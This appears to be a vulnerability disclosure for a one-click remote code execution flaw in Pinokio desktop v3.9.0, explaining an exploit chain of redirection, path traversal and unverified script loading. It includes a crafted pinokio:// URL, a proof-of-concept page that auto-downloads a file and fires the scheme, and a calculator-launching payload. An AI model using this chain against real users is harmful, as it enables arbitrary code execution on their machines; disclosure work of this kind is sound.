We discovered a one-click remote code execution vulnerability in the latest version (v3.9.0) of the Pinokio desktop. An attacker can exploit this vulnerability by embedding a specially crafted pinokio: URL on any website. When a victim visits such a site, the browser triggers a prompt to open the Pinokio app, along with an auto-downloadng of a js file. If the victim confirms opening Pinokio, Pinokio will launch and process the URL, leading to remote code execution on the victim’s machine.
<= v3.9.0 (up to date)
Pinokio desktop is an Electron app that supports installation, running, and managing server application locally. It starts a local server while running.
There are three problems in Pinokio desktop:
- Internal redirection
- Path traversal
- Arbitrary code execution
By combining these problems, an attacker can achieve remote code execution. This attack can be triggered when a user confirms the app from an attacker-controlled custom scheme URL, such as:
See POC video.
Or visit POC link for poc if you have Pinokio dekstop installed. Note that visiting this link would auto download a js file. If you confirm opening Pinokio upon prompt, you would see a calculator popping up.
Next, we use a POC custom URL to show the whole process and the intermediate results.
pinokio://?uri=~/_api/%252E%252E%252F%252E%252E%252FDownloads/calc.js
Pinokio supports custom URL, or deep link, as specified by Electron, meaning that users can open Pinokio by opening URL starting with pinokio:// in the browser.
Upon opening, Pinokio processes the custom URL as follows:
app.on('open-url', (event, url) => {
let u = url.replace(/pinokio:[\/]+/, "")
// let u = new URL(url).search
// console.log("u", u)
loadNewWindow(`${root_url}/pinokio/${u}`, PORT)
// if (BrowserWindow.getAllWindows().length === 0 || !mainWindow) createWindow(PORT)
// const topWindow = BrowserWindow.getFocusedWindow();
// console.log("top window", topWindow)
// //mainWindow.focus()
// //mainWindow.loadURL(`${root_url}/pinokio/${u}`)
// topWindow.focus()
// topWindow.loadURL(`${root_url}/pinokio/${u}`)
})With the above code, Pinokio allows sending requests to Pinokio server with Custom URL, but the requests are limited to route /pinokio.
Now, Pinokio sends a request to:
http://localhost:42000/pinokio/?uri=~/_api/%252E%252E%252F%252E%252E%252FDownloads/calc.js
However, during the processing of /pinokio requests, Pinokio performs an internal redirection, allowing requests to other routes besides /pinokio. The code is as follows:
this.app.get("/pinokio", ex((req, res) => {
// parse the uri & path
let {uri, ...query} = req.query
let querystring = new URLSearchParams(query).toString()
let webpath = this.kernel.api.webPath(req.query.uri)
if (querystring && querystring.length > 0) {
webpath = webpath + "?" + querystring
}
res.redirect(webpath)
}))The attacker could control the redirect URL webpath by setting uri to a designated value in the query. For example:
pinokio://?uri=~/_api/xxxx, to redirect to /_api requests.
Note that ~/ is necessary to pass the webpath parsing, as shown below:
webPath(uri) {
let modpath
if (uri.startsWith("http")) {
// git url
// test to see if any of the gitPaths match partially
modpath = this.resolveWebPath(uri)
} else if (uri.startsWith("~/")) {
// absolute path
modpath = `/${uri.slice(2)}`
} else {
throw new Error("uri must be either an http uri or start with ~/")
}
return modpath
}Now the Pinokio window is redirected to:
/_api/%2E%2E%2F%2E%2E%2FDownloads/calc.js, meaning Pinokio desktop sends a request to: http://localhost:42000/_api/%2E%2E%2F%2E%2E%2FDownloads/calc.js.
After this, during a path resolving, a path traversal happens at:
path(...args) {
return path.resolve(this.homedir, ...args)
}At this point, this.homedir is '/Users/YOURNAME/pinokio' and args is ['api', '..', '..', 'Downloads', 'calc.js'].
The path is resolved to: '/Users/YOURNAME/Downloads/calc.js', which can be controlled with an auto downloading.
Finally, there is arbitrary code execution for files ending with .js without verification.
if (filepath.endsWith(".js")) {
try {
js = (await this.kernel.loader.load(filepath)).resolved
mod = true
} catch (e) {
console.log("######### load error", filepath, e)
}
}Executing the attacker-controlled js file then lead to RCE.
We depoly the POC web page at here: https://suuuuuzy.github.io/mostly-harmless/pinokio_poc/index.html.
When you have Pinokio installed, visit the website and confirm opening Pinokio, you would see a calculator popping up (for mac).
The code of https://suuuuuzy.github.io/mostly-harmless/pinokio_poc/index.html:
<!DOCTYPE html>
<html>
<body>
<a id="downloadLink" href="calc.js" download></a >
<script>
// Automatically click the download link when the page loads
window.onload = function() {
var dd = document.getElementById("downloadLink");
dd.click();
document.body.removeChild(dd);
};
</script>
<iframe src="pinokio://?uri=~/_api/%252E%252E%252F%252E%252E%252FDownloads/calc.js">
</body>
</html>The code of calc.js:
// clac.js
const { exec } = require('child_process');
// Path to the Calculator app
const calculatorPath = '/System/Applications/Calculator.app/Contents/MacOS/Calculator';
// Open the Calculator app
exec(`open -a "${calculatorPath}"`, (error, stdout, stderr) => {
if (error) {
console.error(`Error: ${error.message}`);
return;
}
if (stderr) {
console.error(`Stderr: ${stderr}`);
return;
}
console.log(`Calculator opened successfully!`);
});This is just for POC purpose, so the only result is that a calc.js file downloaded and the calculator popping up. In real-world, this could lead do more severe results.
This vulnerability causes remote code execution, impacting the most up to date Pinokio Desktop (v3.9.0).